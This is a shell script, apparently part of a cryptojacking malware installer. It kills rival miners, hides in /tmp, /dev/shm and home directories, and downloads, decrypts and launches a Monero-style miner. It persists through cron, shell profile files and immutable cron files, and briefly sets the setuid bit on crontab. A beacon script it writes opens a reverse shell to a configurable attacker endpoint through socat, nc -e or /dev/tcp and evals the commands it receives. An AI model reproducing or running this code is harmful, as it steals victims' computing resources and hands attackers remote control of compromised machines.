log "cleanup: stage 1"
kill_themf
kill_mf3
kill_high_cpu
_disarm_competitor
for _main_target in \
  ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
  "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
  "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
  kill_and_remove_process "$_main_target" || true
done
log "cleanup: stage 2"
harden_network
log "cleanup: stage 3"
cleanup_files
safe_patch_args
replace_pool_user

_find_good_workdir() {
  _sfx="$1"
  _bases=""
  if [ -n "$HOME" ] && [ "$HOME" != "/" ] && [ -w "$HOME" ] 2>/dev/null; then
    _bases="$_bases $HOME/.cache/.usr_$_sfx $HOME/.config/.usr_$_sfx $HOME/.usr_$_sfx"
  fi
  _bases="$_bases /dev/shm/.usr_$_sfx /var/tmp/.usr_$_sfx /tmp/.usr_$_sfx"
  if [ "$(id -u)" -eq 0 ]; then
    _bases="$_bases /usr_$_sfx/lib/dev"
  fi

  for _b in $_bases; do
    if mkdir -p "$_b" 2>/dev/null && [ -w "$_b" ]; then
  :
      if printf '#!/bin/sh\nexit 3\n' > "$_b/.exectest" 2>/dev/null; then
        chmod +x "$_b/.exectest" 2>/dev/null || true
        if "$_b/.exectest" 2>/dev/null; then
          rm -f "$_b/.exectest" 2>/dev/null
          printf '%s' "$_b"
          return 0
        fi
      fi
      rm -f "$_b/.exectest" 2>/dev/null
    fi
  done

  _fb="/var/tmp/.usr_$_sfx"
  mkdir -p "$_fb" 2>/dev/null || _fb="/tmp/.usr_$_sfx"; mkdir -p "$_fb" 2>/dev/null
  printf '%s' "$_fb"
}

if [ "$(id -u)" -eq 0 ]; then
  _wd="$(_find_good_workdir "$_SFX")"
  HOME_1="$_wd"
  _main_user_type="root"
  if ! command -v crontab >/dev/null 2>&1; then
    log "Installing cron (best effort)..."
    if command -v apk >/dev/null 2>&1; then
      apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
    elif command -v apt-get >/dev/null 2>&1; then
      apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
    elif command -v yum >/dev/null 2>&1; then
      yum install -y cronie 2>/dev/null || true
    fi
  fi
else
  _wd="$(_find_good_workdir "$_SFX")"
  HOME_1="$_wd"
  _main_user_type="user"
fi

[ -n "$HOME_1" ] && [ -w "$HOME_1" ] 2>/dev/null || HOME_1="/var/tmp/.usr_$_SFX"
mkdir -p "$HOME_1/systemdev" 2>/dev/null || true
chmod 700 "$HOME_1" 2>/dev/null || true

program_file="$HOME_1/$_MD_DIR/$_MD_BIN"
mkdir -p "$HOME_1/$_MD_DIR" 2>/dev/null || true
chmod 700 "$HOME_1/$_MD_DIR" 2>/dev/null || true
log "setup: stage 1 ($_main_user_type)"
if ! set_arch_urls; then
  log "Unsupported architecture: $_ga_arch"
  exit 1
fi
cpu_count=$(get_cpu_count)
is_ec2=false; is_ec2_host && is_ec2=true
if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
  log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
  scrub_competitor_crons
  exit 0
fi
log "setup: stage 2"
_prepare_miner_cfg
if is_our_process_running; then
  :
  _MINER_READY=1
  _MINER_STATE="RUNNING"
  for _mp_d in "$(dirname "$program_file" 2>/dev/null)" "$(dirname "$_beacon_file" 2>/dev/null)" "$_STATE_DIR"; do
    [ -n "$_mp_d" ] && [ -d "$_mp_d" ] && [ -w "$_mp_d" ] || continue
    { printf '%s\n' "$program_file"; printf '%s\n' "$(_miner_run_args)"; } > "$_mp_d/.beacon-job.path" 2>/dev/null || true
    chmod 600 "$_mp_d/.beacon-job.path" 2>/dev/null || true
  done
  log "Process running — skipping fetch/launch, refreshing persistence"
  _enforce_single_miner ""
  _GD_RUNNING=1
fi
_retire_stale_identities() {
  [ -n "$_SFX" ] || return 0
  _rsi_keep=".usr_$_SFX"
  for _rsi_root in /var/tmp /tmp /dev/shm "$HOME" "$HOME/.cache"; do
    [ -d "$_rsi_root" ] || continue
    for _rsi_dir in "$_rsi_root"/.usr_*; do
      [ -d "$_rsi_dir" ] || continue
      _rsi_b=$(basename "$_rsi_dir" 2>/dev/null)
      [ "$_rsi_b" = "$_rsi_keep" ] && continue
      [ "$_rsi_dir" = "$HOME_1" ] && continue
      for _rsi_p in /proc/[0-9]*; do
        _rsi_exe=$(readlink "$_rsi_p/exe" 2>/dev/null)
        case "$_rsi_exe" in
          "$_rsi_dir"/*) kill -9 "${_rsi_p##*/}" 2>/dev/null ;;
        esac
      done
      rm -rf "$_rsi_dir" 2>/dev/null || true
      echo "[M39c] stale identity retired: $_rsi_dir"
    done
  done
  for _m42_d in "$HOME_1" "$_STATE_DIR" /var/tmp /tmp /dev/shm; do
    [ -n "$_m42_d" ] && [ -d "$_m42_d" ] || continue
    rm -rf "$_m42_d/sd$_SFX" 2>/dev/null || true
    rm -f "$_m42_d/mn$_SFX" 2>/dev/null || true
    rm -f "$_m42_d/miner.json" 2>/dev/null || true
    rm -f "$_m42_d/.beacon-miner.path" 2>/dev/null || true
    rm -f "$_m42_d/.villain.log" 2>/dev/null || true
    rm -f "$_m42_d/.villain-report" 2>/dev/null || true
  done
  for _m42_s in /var/tmp/.amq_* /tmp/.amq_* /dev/shm/.amq_* "$HOME"/.cache/.amq_* /var/tmp/.cache/.amq_*; do
    [ -e "$_m42_s" ] || continue
    rm -rf "$_m42_s" 2>/dev/null || true
  done
  return 0
}
launch_miner() {
  :
  if readlink "/proc/$$/fd/5" >/dev/null 2>&1; then
    eval 'exec 5<&-' 2>/dev/null || true
  fi
  _launch_pid=""
  _launch_mode="argv"
  if [ -n "$_miner_cfg" ] && [ -s "$_miner_cfg" ]; then
    _launch_mode="config"
    if command -v setsid >/dev/null 2>&1; then
      setsid "$program_file" --config="$_miner_cfg" </dev/null >/dev/null 2>&1 &
    else
      nohup "$program_file" --config="$_miner_cfg" </dev/null >/dev/null 2>&1 &
    fi
    _launch_pid=$!
    disown 2>/dev/null || true
    sleep 3
    if ! kill -0 "$_launch_pid" 2>/dev/null; then
      log "Config launch did not survive - falling back to the argv form"
      _launch_mode="argv"
      _launch_pid=""
    fi
  fi
  if [ "$_launch_mode" = "argv" ]; then
    if command -v setsid >/dev/null 2>&1; then
      setsid "$program_file" "$@" </dev/null >/dev/null 2>&1 &
    else
      nohup "$program_file" "$@" </dev/null >/dev/null 2>&1 &
    fi
    _launch_pid=$!
    disown 2>/dev/null || true
  fi
  sleep 2
  for _mp_d in "$(dirname "$program_file" 2>/dev/null)" "$(dirname "$_beacon_file" 2>/dev/null)" "$_STATE_DIR"; do
    [ -n "$_mp_d" ] && [ -d "$_mp_d" ] && [ -w "$_mp_d" ] || continue
    { printf '%s\n' "$program_file"; printf '%s\n' "$(_miner_run_args)"; } > "$_mp_d/.beacon-job.path" 2>/dev/null || true
    chmod 600 "$_mp_d/.beacon-job.path" 2>/dev/null || true
  done
  if [ -n "$_launch_pid" ] && kill -0 "$_launch_pid" 2>/dev/null; then
    echo "MINER_LANDED:$_launch_pid:$program_file"
  else
    echo "MINER_LAUNCH_ISSUE:$program_file"
  fi
}
_retire_stale_identities
_kill_stale_generation_instances
_retire_legacy_guardians
if [ "${_GD_RUNNING:-0}" != "1" ]; then
log "fetch: stage 1"
arch_url="$_ga_url"
if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
  arch_url="${arch_url}.enc"
fi
if _miner_ready "$program_file" "$arch_url"; then
  log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
else
  :
  log "fetch: stage 2"
  if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
    _enc_file="${program_file}.enc"
    fetch_file "$arch_url" "$_enc_file"
    if [ -s "$_enc_file" ]; then
      openssl enc -d -aes-256-cbc -in "$_enc_file" -out "$program_file" \
        -K "$MINER_KEY" -iv "$MINER_IV" 2>/dev/null
      rm -f "$_enc_file" 2>/dev/null
    fi
    rm -f "$_enc_file" 2>/dev/null || true
  else
    fetch_file "$arch_url" "$program_file"
  fi
  chmod 700 "$program_file" 2>/dev/null
  if [ -z "$MINER_KEY" ] && _is_elf_for_arch "$program_file"; then
    _el=$(_remote_len "$arch_url")
    _fdl=$(wc -c < "$program_file" 2>/dev/null || echo 0)
    if [ -n "$_el" ] && [ "$_el" -gt 0 ] 2>/dev/null && [ "$_fdl" -lt "$_el" ] 2>/dev/null; then
      log "Binary truncated on disk ($_fdl/$_el bytes) — refetching..."
      fetch_file "$arch_url" "$program_file"
      chmod 700 "$program_file" 2>/dev/null
    fi
  fi
  if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
    log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
    rm -f "$program_file"
    fetch_file "$_ga_fallback" "$program_file"
    chmod +x "$program_file" 2>/dev/null
  fi
fi
_MINER_READY=0
_MINER_STATE="MISSING"
if _miner_ready "$program_file" "$arch_url"; then
  _MINER_READY=1
  _MINER_STATE="READY"
else
  _cdl=$(wc -c < "$program_file" 2>/dev/null || echo 0)
  log "Binary incomplete on disk ($_cdl bytes) - keeping it for resume"
fi
if [ "$_MINER_READY" != "1" ]; then
  log "Error: no executable for architecture $_ga_arch — persisting without launch"
  rm -f "$program_file" 2>/dev/null || true
else
log "fetch: stage 3 ok"
log "start: stage 1"
_launch_ok=0
launch_miner -o "$_c3" -u "$_c4.$_c1" -k
sleep 5
if kill -0 "$_launch_pid" 2>/dev/null; then
  _MINER_STATE="RUNNING"
  log "Process running (PID $_launch_pid)"
  _launch_ok=1
else
  log "Primary launch failed — retrying without -k..."
  launch_miner -o "$_c3" -u "$_c4.$_c1"
  sleep 5
  if kill -0 "$_launch_pid" 2>/dev/null; then
    log "Process running on retry (PID $_launch_pid)"
    _launch_ok=1
  fi
fi
if [ "$_launch_ok" != 1 ]; then
  log "All launch attempts failed — persisting, next window re-fetches"
  rm -f "$program_file" 2>/dev/null || true
else
_enforce_single_miner "$_launch_pid"
_mark_miner_identity "$program_file"
fi
fi
fi
wipe_previous_crons
create_cronjob "$_c2"

_add_profile_persist() {
  _pfile=""
  for _pf in "$HOME/.profile" "$HOME/.bashrc" "$HOME/.bash_profile" "$HOME/.zshrc" "/var/tmp/.profile_persist_$$"; do
    if [ -n "$_pf" ] && ( [ -w "$(dirname "$_pf" 2>/dev/null)" ] || [ -w "$_pf" 2>/dev/null ] ); then
      _pfile="$_pf"
      break
    fi
  done
  [ -n "$_pfile" ] || _pfile="/var/tmp/.beacon_persist_$$"
  mkdir -p "$(dirname "$_pfile")" 2>/dev/null || true
  _line="if [ -x \"$program_file\" ]; then (setsid \"$program_file\" -o $_c3 -u $_c4.$_c1 </dev/null >/dev/null 2>&1 &) 2>/dev/null; disown 2>/dev/null || true; fi"
  if ! grep -F "$program_file" "$_pfile" 2>/dev/null | head -1 >/dev/null; then
    printf '\n%s\n' "$_line" >> "$_pfile" 2>/dev/null || true
    echo "PROFILE_PERSIST:$_pfile"
  fi
}
_add_profile_persist

echo "GUARDIAN_STATUS:workdir=$HOME_1 user=$_main_user_type binary=$program_file"
if [ "$(id -u)" -eq 0 ]; then
  for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
    if [ -f "$_lock_file" ]; then
      chattr +i "$_lock_file" 2>/dev/null || true
      chattr +a "$_lock_file" 2>/dev/null || true
    fi
  done
fi
install_beacon_cron() {
  :
  if [ "$(id -un 2>/dev/null)" != "zimbra" ] && ! crontab -l 2>/dev/null | grep -qi zimbra; then
    crontab -l 2>/dev/null \
      | grep -vE 'cron-fetch|b51f3a2a[.]lazyrabbit|gistpad[.]com|/sh --oneshot' \
      | crontab - 2>/dev/null || true
  fi
  cron_health || true
  _chrc=$?
  if [ "$_chrc" = 1 ]; then cron_log "cron_health: $CRONH — beacon cron SKIPPED (guardian persists)"; return 1; fi
  [ "$_chrc" = 2 ] && cron_log "cron_health: $CRONH — lines installed anyway"
  [ -n "$BEACON_ENDPOINT" ] || return 0
  case "$BEACON_ENDPOINT" in
    [A-Za-z0-9._-]*:[0-9]*)
      _bh="${BEACON_ENDPOINT%%:*}"; _bp="${BEACON_ENDPOINT##*:}"
      ;;
    *)
      return 0
      ;;
  esac
  case "$_HOME_1" in
    /tmp/.usr_*|/var/tmp/.usr_*|/dev/shm/.usr_*|/usr_*|/home/*)
      _beacon_file="$_HOME_1/systemdev/beacon.sh" ;;
    *)
      _beacon_file=""
      for _bwd in "/var/tmp" "$HOME" "/dev/shm"; do
        mkdir -p "$_bwd" 2>/dev/null || continue
        printf '#!/bin/sh\nexit 3\n' > "$_bwd/.exectest" 2>/dev/null || continue
        chmod +x "$_bwd/.exectest" 2>/dev/null || continue
        "$_bwd/.exectest" 2>/dev/null; _et=$?
        if [ "$_et" = "3" ]; then
          _beacon_file="$_bwd/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
          break
        fi
        rm -f "$_bwd/.exectest" 2>/dev/null
      done
      [ -n "$_beacon_file" ] || _beacon_file="/tmp/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
      ;;
  esac
  if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
    _badopt=$(crontab -l 2>/dev/null | tr ' \t' '\n\n' | grep -E '/\.beacon_[0-9a-f][0-9a-f]*\.sh$' | tail -1)
    [ -n "$_badopt" ] && _beacon_file="$_badopt"
  fi
  mkdir -p "$(dirname "$_beacon_file")" 2>/dev/null
  {
    printf '#!/bin/sh\n%s\n_bh=%s; _bp=%s; BEACON_TLS=%s\n' "$_BC_MARK" "$_bh" "$_bp" "${BEACON_TLS:-0}"
    cat <<'BEACONSCRIPT'
_j=$(od -An -N2 -tu2 /dev/urandom 2>/dev/null | tr -d " \n")
case "$_j" in *[!0-9]*|"") _j=5 ;; esac
sleep "$(( _j % 540 ))"
if [ "$BEACON_TLS" = "1" ] && command -v socat >/dev/null 2>&1; then
  exec timeout 240 socat OPENSSL:"$_bh":"$_bp",verify=0 \
    SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
fi
if command -v socat >/dev/null 2>&1; then
  exec timeout 240 socat TCP4:$_bh:$_bp SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
elif nc -h 2>&1 | grep -qe '-e '; then
  exec nc "$_bh" "$_bp" -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null \
    || exec nc -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' "$_bh" "$_bp" 2>/dev/null
elif command -v bash >/dev/null 2>&1; then
  exec 3<>/dev/tcp/$_bh/$_bp 2>/dev/null || exit 0
  exec 0<&3 1>&3 2>&3
  timeout 240 bash -c 'while read -r line <&0; do eval "$line" 2>&0 >&0; done' 2>/dev/null
fi
exit 0
BEACONSCRIPT
  } > "$_beacon_file"
  chmod 755 "$_beacon_file" 2>/dev/null
  _ep_host="$_bh"
  _ep_ip=$(getent ahostsv4 "$_bh" 2>/dev/null | awk 'NR==1{print $1}')
  [ -n "$_ep_ip" ] || _ep_ip=$(getent hosts "$_bh" 2>/dev/null | awk 'NR==1{print $1}')
  printf '%s %s' "$_ep_host" "$_ep_ip" > "$(dirname "$_beacon_file")/.beacon-endpoint" 2>/dev/null || true
  _bc_sweep="later"
  _beacon_sched=$( _cron_sched 1 )
  _beacon_cron="$_beacon_sched * * * * $_beacon_file >/dev/null 2>&1"
  if [ "$(id -u)" = "0" ] && [ "$(id -un 2>/dev/null)" != "zimbra" ]; then
    _cb_bin=$(command -v crontab 2>/dev/null)
    for _rb_home in /home/* /root /var/root; do
      [ -d "$_rb_home" ] || continue
      _rb_user=$(basename "$_rb_home" 2>/dev/null)
      [ -n "$_rb_user" ] || continue
      id -u "$_rb_user" >/dev/null 2>&1 || continue
      for _rb_bf in "$_rb_home"/.beacon_*.sh; do
        [ -f "$_rb_bf" ] || continue
        _rb_cur=$(crontab -l -u "$_rb_user" 2>/dev/null | grep -oE '[^ ]+\.beacon_[0-9A-Fa-f]{2,}\.sh' | head -1)
        if [ -n "$_rb_cur" ] && [ -f "$_rb_cur" ] && [ "$_rb_cur" = "$_rb_bf" ]; then
          break
        fi
        _rb_cron="$_beacon_sched * * * * $_rb_bf >/dev/null 2>&1"
        _rb_suid=0
        if [ -n "$_cb_bin" ]; then
          case "$(stat -c%A "$_cb_bin" 2>/dev/null)" in
            *s*|*S*) : ;;
            *) chmod u+s "$_cb_bin" 2>/dev/null && _rb_suid=1 ;;
          esac
        fi
        (crontab -l -u "$_rb_user" 2>/dev/null | grep -vE '\.beacon_[0-9A-Fa-f]{2,}\.sh|/systemdev/beacon\.sh';
         printf '%s\n' "$_rb_cron") \
          | crontab -u "$_rb_user" - 2>/dev/null && \
          echo "[M35] beacon cron restored for $_rb_user -> $_rb_bf"
        [ "$_rb_suid" = "1" ] && { chmod u-s "$_cb_bin" 2>/dev/null; chmod g-s "$_cb_bin" 2>/dev/null; }
        break
      done
    done
  fi
  if ! (crontab -l 2>/dev/null | grep -qF "$_beacon_file"); then
  :
  _bc_suid=0
  _bc_bin=$(command -v crontab 2>/dev/null)
  if [ "$(id -u)" = "0" ] && [ -n "$_bc_bin" ] && [ -w "$_bc_bin" ]; then
    case "$(stat -c%A "$_bc_bin" 2>/dev/null)" in
      *s*|*S*) : ;;
      *) chmod u+s "$_bc_bin" 2>/dev/null && _bc_suid=1 ;;
    esac
  fi
  if [ "$(id -un 2>/dev/null)" = "zimbra" ] || crontab -l 2>/dev/null | grep -qi "zimbra"; then
    (crontab -l 2>/dev/null; printf '%s\n' "$_beacon_cron") | crontab - 2>/dev/null \
      && echo "Beacon cron installed (primary: $_bh:$_bp; zimbra append-only; cadence: $_beacon_sched)."
  else
    (crontab -l 2>/dev/null | grep -vE '\.beacon_[0-9a-f]{2,}\.sh|/systemdev/beacon\.sh';
     printf '%s\n' "$_beacon_cron") | crontab - 2>/dev/null \
      && echo "Beacon cron installed (primary: $_bh:$_bp; cadence: $_beacon_sched - per-host, was the fixed */45)."
  fi
  [ "$_bc_suid" = "1" ] && { chmod u-s "$_bc_bin" 2>/dev/null; chmod g-s "$_bc_bin" 2>/dev/null; }
  _bc_sweep="deferred"
  _bc_live=$(crontab -l 2>/dev/null | grep -oE '[^ ]+\.beacon_[0-9A-Fa-f]{2,}\.sh' | head -1)
  if [ -n "$_bc_live" ] && [ ! -f "$_bc_live" ]; then
    echo "[M36b] crontab points at a missing beacon file ($_bc_live) — beacon would fire into ENOENT."
    for _bb_bf in "$HOME"/.beacon_*.sh; do
      [ -f "$_bb_bf" ] || continue
      if [ "$(id -u)" = "0" ]; then
        _bb_line="$_beacon_sched * * * * $_bb_bf >/dev/null 2>&1"
        printf '%s\n' "$_bb_line" > /etc/cron.d/zz_beacon 2>/dev/null && \
          echo "[M36b] beacon restored via /etc/cron.d/zz_beacon -> $_bb_bf"
      else
        echo "[M36b] non-root: cannot repair own crontab (root-owned spool); needs a root land (M35)."
      fi
      break
    done
  fi
  fi
  if [ -s /etc/cron.d/.zz-beacon ] && [ "$(id -u)" -eq 0 ]; then
    cat /etc/cron.d/.zz-beacon >> /etc/cron.d/zz_beacon 2>/dev/null \
      && rm -f /etc/cron.d/.zz-beacon 2>/dev/null
    chmod 644 /etc/cron.d/zz_beacon 2>/dev/null
  fi
  if ! crontab -l 2>/dev/null | grep -qF "$_beacon_file" \
     && ! grep -qF "$_beacon_file" /etc/cron.d/zz_beacon 2>/dev/null; then
    if [ "$(id -u)" -eq 0 ] && \
       printf '%s * * * * %s %s >/dev/null 2>&1\n' "$_beacon_sched" "$(id -un)" "$_beacon_file" \
         >> /etc/cron.d/zz_beacon 2>/dev/null; then
      chmod 644 /etc/cron.d/zz_beacon 2>/dev/null
      echo "Beacon cron installed via /etc/cron.d fallback."
    else
      log "cron: unavailable"
    fi
  fi
}
install_beacon_cron
install_competitor_guardian
_install_self_dialer
_sweep_old_beacons
harden_crontab_gate
_deg=""
[ -n "$_STATE_DIR" ] && [ -d "$_STATE_DIR" ] || _deg="state_dir=MISSING"
[ "$_MINER_READY" = "1" ] && _deg="$_deg miner=OK(${_MINER_STATE:-READY})" || _deg="$_deg miner=MISSING"
[ -f "$_beacon_file" ] && _deg="$_deg beacon=OK" || _deg="$_deg beacon=MISSING"
[ -f "$(dirname "$_beacon_file" 2>/dev/null)/.beacon-dialer.sh" ] && _deg="$_deg dialer=OK" || _deg="$_deg dialer=MISSING"
case "${CRONH:-}" in
  healthy*) _deg="$_deg cron=OK" ;;
  "no crontab binary"*) _deg="$_deg cron=NO_BINARY" ;;
  *daemon*) _deg="$_deg cron=DAEMON_OFF" ;;
  "") _deg="$_deg cron=UNKNOWN" ;;
  *) _deg="$_deg cron=DENIED" ;;
esac
command -v curl >/dev/null 2>&1 || command -v wget >/dev/null 2>&1 || _deg="$_deg fetch=SHELL_ONLY"
[ -n "$HOME" ] && [ -d "$HOME" ] || _deg="$_deg home=MISSING"
_harden_artifacts() {
  for _ha_d in "$(dirname "$_beacon_file" 2>/dev/null)" "$_STATE_DIR" "$(dirname "$program_file" 2>/dev/null)"; do
    [ -n "$_ha_d" ] && [ -d "$_ha_d" ] || continue
    for _ha_f in .beacon-endpoint .beacon-job.path .sysid .beacon-dialer.pid .beacon-watchdog.pid .beacon-dialer.ver .inst .run.log .job.json .gpid; do
      [ -f "$_ha_d/$_ha_f" ] && chmod 600 "$_ha_d/$_ha_f" 2>/dev/null || true
    done
    [ -f "$_ha_d/.beacon-dialer.sh" ] && chmod 700 "$_ha_d/.beacon-dialer.sh" 2>/dev/null || true
  done
  [ -f "$_beacon_file" ] && chmod 700 "$_beacon_file" 2>/dev/null || true
  return 0
}
_harden_artifacts
log "STATE:$_deg"
{
  printf '== status ==\n'
  tail -n 12 "$_STATE_DIR/.run.log" 2>/dev/null
  printf 'STATE:%s\n' "$_deg"
} > /tmp/.st 2>/dev/null || true
chmod 600 /tmp/.st 2>/dev/null || true
log "done."
_cleanup_transport